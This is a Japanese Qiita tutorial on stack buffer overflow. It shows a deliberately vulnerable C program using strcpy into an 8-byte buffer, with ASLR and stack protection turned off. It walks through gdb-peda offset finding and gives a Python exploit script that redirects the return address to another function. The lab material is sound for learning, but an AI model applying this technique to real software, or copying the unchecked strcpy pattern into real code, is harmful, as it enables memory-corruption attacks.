5
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

バッファオーバーフロー入門①(リターンアドレス書き換えによる引数無し関数呼び出し)

Last updated at Posted at 2021-02-02

概要

バッファオーバーフロー攻撃により、vuln関数のリターンアドレスを書き換え、違う関数を実行させる。結構説明詳しめ。


対象コードとBOFの仕組み

test.c
#include <stdio.h>
#include <string.h>

void f() {
	printf("YOU ENTERED F FUNCTION!!!\n");
}

void g() {
	printf("YOU ENTERED G FUNCTION!!!\n");
}

void vuln(char *str) {
	char buf[8];
	strcpy(buf, str);
}

int main(int argc, char *argv[]){
	vuln(argv[1]);
	return 0;
}

コマンドライン引数argv[1]がvuln関数のstrcpyにて、8要素分しかないbufに代入されようとする。bufはvuln関数のために用意されたメモリ上のスタック領域(スタックフレーム)に確保されるわけだが、スタックにはbufの下にvuln関数が終わった後次どのコードを実行するかのリターンアドレスも配置されているので、8要素分より大きい値をstrcpyすると、そのリターンアドレスも書き換わってしまい、vuln関数終了後retした時に、その書き換わったスタックの値のアドレスへリターンしてしまう。まず、リターンアドレスをf()の先頭アドレスに書き換えてみる。


コンパイル方法や下準備

ASLRなど色々セキュリティ機構がついてると厄介なのでそれらを無効化する。

ASLRの無効化/有効化

aslr.sh
sudo sysctl -w kernel.randomize_va_space=0 # 無効化
sudo sysctl -w kernel.randomize_va_space=2 # 有効化

コンパイル方法

compile.sh
gcc -m32 -no-pie -fno-stack-protector -o bof test.c

関数呼び出しに関するアセンブラの基本知識

gdbでブレークポイントをどこに置けばいいのかや、どこを見ればいいのかなどを明快にするためアセンブラを少し確認。リターンアドレスを書き換えるので関数終了時の命令と、リターンアドレスを書き換えて別の関数を呼び出すので、関数呼び出し時のアセンブラの流れの2点を最低限理解するべき。

  • 関数終了時のleaveret命令が何をしているのか
  • 関数呼び出しの流れ

leave命令

leaveretの順番でいつも呼ばれる。
leave命令はスタックをその関数の呼び出し前の状態に復元する命令。それなので、例えばvuln関数の処理が終わってleave命令が呼ばれると、vuln関数実行時に使われてたスタックの内容が綺麗に掃除され、スタックの一番上はリターンアドレスになる。つまり、leave命令終了後の命令(ret)にブレークポイントを打ってrunすれば、スタックの一番上はリターンアドレスになる

ret命令

ret = pop eip
スタックの一番上のアドレスにジャンプする命令。
例えばmainがvuln関数を呼び出す場合、

main.s
0x0804921c <+41>:  call 0x80491c8 <vuln>
0x08049221 <+46>:  add esp,0x10

こんな感じでvulnを呼び出すわけだが、vulnの処理が終わってretする時には、リターンアドレスとしてadd esp,0x10のアドレスである0x08049221がスタックの一番上に積まれているはずである。これによってmain関数はvulnを呼び出してリターンしてきた後、次の命令を実行することができるようになってる。

関数呼び出しの流れ

関数を呼び出すとき、こんな感じの流れで呼び出す。

  1. 関数の引数をスタックにpush
  2. リターンアドレスをスタックにpush
  3. 呼び出す関数の先頭アドレスをeipにセット
引数が複数ある時は、後ろの方からpushしていくので、`push arg2`をした後に`push arg1`をする。また、2,3は`call`命令によって一気に行われる。

gdb-pedaで実行時のスタックの様子を確認

compile.shを実行してコンパイルした後、strcpyで実際にオーバーフローしたときのスタックの様子や、どこにどの入力文字列が配置されているのかをgdb-pedaで確認する。
大まかな流れは以下のようになる。

  1. pdisas vulnでret命令のアドレスを確認してブレークポイントを打つ
  2. pattcで作成したパターンを引数にrun後、スタックの一番上にあるリターンアドレスを確認
  3. pattoでリターンアドレスが入力パターンの何文字目からに相当するのかを確認
  4. 例えば3で20文字目だったなら "A"*20 + 飛ばしたい関数へのアドレスでBOF成功

まず、pdisas vulnret命令のアドレスを確認。

→ hackprok:~/test/prac$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
   0x080491c8 <+0>:	push   ebp
   0x080491c9 <+1>:	mov    ebp,esp
   0x080491cb <+3>:	push   ebx
   0x080491cc <+4>:	sub    esp,0x14
   0x080491cf <+7>:	call   0x8049231 <__x86.get_pc_thunk.ax>
   0x080491d4 <+12>:	add    eax,0x2e2c
   0x080491d9 <+17>:	sub    esp,0x8
   0x080491dc <+20>:	push   DWORD PTR [ebp+0x8]
   0x080491df <+23>:	lea    edx,[ebp-0x10]
   0x080491e2 <+26>:	push   edx
   0x080491e3 <+27>:	mov    ebx,eax
   0x080491e5 <+29>:	call   0x8049030 <strcpy@plt>
   0x080491ea <+34>:	add    esp,0x10
   0x080491ed <+37>:	nop
   0x080491ee <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491f1 <+41>:	leave  
   0x080491f2 <+42>:	ret    
End of assembler dump.

次にret命令のところにブレークポイントを打つ。

gdb-peda$ b *0x080491f2
Breakpoint 1 at 0x80491f2

次に、入力する文字列をpattcコマンドで生成し、コピーする。

gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'

そしてこのパターンを引数に実行する。(ここで注意なのが、シングルクオートじゃなくてダブルクオートにしてしまうとうまくいかない)

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Starting program: /home/hackprok/test/prac/bof 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb38 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EBX: 0x6e414124 ('$AAn')
ECX: 0xffffce80 ("AAbA")
EDX: 0xffffcb66 ("AAbA")
ESI: 0xf7fa7000 --> 0x1e4d6c 
EDI: 0xf7fa7000 --> 0x1e4d6c 
EBP: 0x41434141 ('AACA')
ESP: 0xffffcb4c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EIP: 0x80491f2 (<vuln+42>:	ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491ed <vuln+37>:	nop
   0x80491ee <vuln+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x80491f1 <vuln+41>:	leave  
=> 0x80491f2 <vuln+42>:	ret    
   0x80491f3 <main>:	lea    ecx,[esp+0x4]
   0x80491f7 <main+4>:	and    esp,0xfffffff0
   0x80491fa <main+7>:	push   DWORD PTR [ecx-0x4]
   0x80491fd <main+10>:	push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb4c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
0004| 0xffffcb50 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0xffffcb54 ("AA;AA)AAEAAaAA0AAFAAbA")
0012| 0xffffcb58 ("A)AAEAAaAA0AAFAAbA")
0016| 0xffffcb5c ("EAAaAA0AAFAAbA")
0020| 0xffffcb60 ("AA0AAFAAbA")
0024| 0xffffcb64 ("AFAAbA")
0028| 0xffffcb68 --> 0x4162 ('bA')
0032| 0xffffcb6c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0036| 0xffffcb70 --> 0xf7fa7000 --> 0x1e4d6c 
0040| 0xffffcb74 --> 0xf7fa7000 --> 0x1e4d6c 
0044| 0xffffcb78 --> 0x0 
0048| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0052| 0xffffcb80 --> 0x2 
0056| 0xffffcb84 --> 0xffffcc24 --> 0xffffce35 ("/home/hackprok/test/prac/bof")
0060| 0xffffcb88 --> 0xffffcc30 --> 0xffffce85 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491f2 in vuln ()

vulnのret命令にて次の段階でスタックの一番上のアドレスに飛ぶが、そのスタックの一番上は今、A-AAになっている。ではこのA-AAが入力パターンの何文字目かということについてだが、これはpattoコマンドにより以下のように調べられる。

gdb-peda$ patto 'A-AA'
A-AA found at offset: 20

※このように0から始まる
A A A % A A s A A B A  A  $  A  A  n  A  A  C  A  A-AA(AADAA;AA)AAEAAaAA0AAFAAbA
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

よって、これで20個適当な文字を入れてから、その次に実行させたい関数の先頭アドレスを打ち込めば、任意の関数に飛ばすことができる。ちなみにBOFで実行させたいのは、f()なので、f()の先頭アドレスを確認してみる。

gdb-peda$ p f
$1 = {<text variable, no debug info>} 0x8049172 <f>

これで、f()の先頭アドレスは0x8049172だとわかる。


Pythonのエクスプロイトコード作成

\x72... みたいな感じでリトルエンディアンとか気にしていちいち入力書くのはめんどいのでpythonで入力を書いてみる。

exploit.py
#!/usr/bin/env python
import os
import struct

f_addr = 0x8049172

payload = "A" * 20
payload += struct.pack("I", f_addr)

# print("%s" % payload)
os.system("./bof \"%s\"" % payload)

Aを20個打った後にvulnからリターンさせたいリターン先のアドレス(fの先頭アドレス)"\x72\x91\x04\x08"を加えたものである。f()は引数が必要ない関数なので、スタックに積むのはリターンアドレスだけでいい。これを実行すると、

→ hackprok:~/test/prac$ python2 exploit.py 
YOU ENTERED F FUNCTION!!!
Segmentation fault

セグフォは起きるが、ちゃんとf()が呼び出されていることがわかる。


gdb-pedaで攻撃の流れを確認

先ほどのエクスプロイトコードexploit.pyをgdbで使えるように、このように書き換える。

exploit.py
#!/usr/bin/env python
import os
import struct

f_addr = 0x8049172

payload = "A" * 20
payload += struct.pack("I", f_addr)

print("%s" % payload)
# os.system("./bof \"%s\"" % payload)

その後、gdbを起動して、先ほどと同じように以下のようにvulnからretするところにブレークポイントを打つ。

→ hackprok:~/test/prac$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
   0x080491c8 <+0>:	push   ebp
   0x080491c9 <+1>:	mov    ebp,esp
   0x080491cb <+3>:	push   ebx
   0x080491cc <+4>:	sub    esp,0x14
   0x080491cf <+7>:	call   0x8049231 <__x86.get_pc_thunk.ax>
   0x080491d4 <+12>:	add    eax,0x2e2c
   0x080491d9 <+17>:	sub    esp,0x8
   0x080491dc <+20>:	push   DWORD PTR [ebp+0x8]
   0x080491df <+23>:	lea    edx,[ebp-0x10]
   0x080491e2 <+26>:	push   edx
   0x080491e3 <+27>:	mov    ebx,eax
   0x080491e5 <+29>:	call   0x8049030 <strcpy@plt>
   0x080491ea <+34>:	add    esp,0x10
   0x080491ed <+37>:	nop
   0x080491ee <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491f1 <+41>:	leave  
   0x080491f2 <+42>:	ret    
End of assembler dump.
gdb-peda$ b *0x080491f2
Breakpoint 1 at 0x80491f2

次に、先ほどのエクスプロイトコードをgdbで使うには、以下のようにして実行する。

gdb-peda$ r `python2 exploit.py`
Starting program: /home/hackprok/test/prac/bof `python2 exploit.py`
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb48 ('A' <repeats 20 times>, "r\221\004\b")
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce80 --> 0x8049172 (<f>:	push   ebp)
EDX: 0xffffcb5c --> 0x8049172 (<f>:	push   ebp)
ESI: 0xf7fa7000 --> 0x1e4d6c 
EDI: 0xf7fa7000 --> 0x1e4d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcb5c --> 0x8049172 (<f>:	push   ebp)
EIP: 0x80491f2 (<vuln+42>:	ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80491ed <vuln+37>:	nop
   0x80491ee <vuln+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x80491f1 <vuln+41>:	leave  
=> 0x80491f2 <vuln+42>:	ret    
   0x80491f3 <main>:	lea    ecx,[esp+0x4]
   0x80491f7 <main+4>:	and    esp,0xfffffff0
   0x80491fa <main+7>:	push   DWORD PTR [ecx-0x4]
   0x80491fd <main+10>:	push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb5c --> 0x8049172 (<f>:	push   ebp)
0004| 0xffffcb60 --> 0xffffce00 --> 0xffffce2b --> 0xee4d18ad 
0008| 0xffffcb64 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0012| 0xffffcb68 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
0016| 0xffffcb6c --> 0x8049209 (<main+22>:	add    eax,0x2df7)
0020| 0xffffcb70 --> 0xf7fe4080 (push   ebp)
0024| 0xffffcb74 --> 0xffffcb90 --> 0x2 
0028| 0xffffcb78 --> 0x0 
0032| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0036| 0xffffcb80 --> 0xf7fa7000 --> 0x1e4d6c 
0040| 0xffffcb84 --> 0xf7fa7000 --> 0x1e4d6c 
0044| 0xffffcb88 --> 0x0 
0048| 0xffffcb8c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0052| 0xffffcb90 --> 0x2 
0056| 0xffffcb94 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0060| 0xffffcb98 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080491f2 in vuln ()
gdb-peda$ p f
$1 = {<text variable, no debug info>} 0x8049172 <f>

最後にpコマンドにてf()関数の先頭アドレス0x8049172表示しているが、これと同じものがちゃんとスタックの一番上に来ていることがわかる。この後、sコマンドによりステップ実行してみれば、

gdb-peda$ s
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb48 ('A' <repeats 20 times>, "r\221\004\b")
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce80 --> 0x8049172 (<f>:	push   ebp)
EDX: 0xffffcb5c --> 0x8049172 (<f>:	push   ebp)
ESI: 0xf7fa7000 --> 0x1e4d6c 
EDI: 0xf7fa7000 --> 0x1e4d6c 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcb60 --> 0xffffce00 --> 0xffffce2b --> 0xee4d18ad 
EIP: 0x8049172 (<f>:	push   ebp)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049168 <__do_global_dtors_aux+40>:	lea    esi,[esi+eiz*1+0x0]
   0x804916f <__do_global_dtors_aux+47>:	nop
   0x8049170 <frame_dummy>:	jmp    0x8049100 <register_tm_clones>
=> 0x8049172 <f>:	push   ebp
   0x8049173 <f+1>:	mov    ebp,esp
   0x8049175 <f+3>:	push   ebx
   0x8049176 <f+4>:	sub    esp,0x4
   0x8049179 <f+7>:	call   0x8049231 <__x86.get_pc_thunk.ax>
[------------------------------------stack-------------------------------------]
0000| 0xffffcb60 --> 0xffffce00 --> 0xffffce2b --> 0xee4d18ad 
0004| 0xffffcb64 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0008| 0xffffcb68 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
0012| 0xffffcb6c --> 0x8049209 (<main+22>:	add    eax,0x2df7)
0016| 0xffffcb70 --> 0xf7fe4080 (push   ebp)
0020| 0xffffcb74 --> 0xffffcb90 --> 0x2 
0024| 0xffffcb78 --> 0x0 
0028| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0032| 0xffffcb80 --> 0xf7fa7000 --> 0x1e4d6c 
0036| 0xffffcb84 --> 0xf7fa7000 --> 0x1e4d6c 
0040| 0xffffcb88 --> 0x0 
0044| 0xffffcb8c --> 0xf7de0df6 (<__libc_start_main+262>:	add    esp,0x10)
0048| 0xffffcb90 --> 0x2 
0052| 0xffffcb94 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0056| 0xffffcb98 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
0060| 0xffffcb9c --> 0xffffcbc4 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08049172 in f ()

このようにちゃんとf()関数に入っていることが確認できる。


この内容が理解できた後は?

このバッファオーバーフローが理解できた後は、

  1. ret2libc:引数有りの関数をBOFで呼び出す (system("/bin/sh")でシェルが呼び出せるようになる)
  2. ROP:一回だけではなく、複数の関数を呼び出せるようになる

とステップアップ。どちらも終わったら、

  • 書式文字列型攻撃(Format String Attack)
  • ↑ によるGOT Overwrite攻撃

のような流れがいいかと…


参考URL

このサイトがスライドでパラパラ漫画みたいにBOFのスタックの様子を書いてくれているので、これ見るとよりイメージがしやすくなる。
https://speakerdeck.com/m412u/xue-nei-pwnmian-qiang-hui?slide=28

5
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?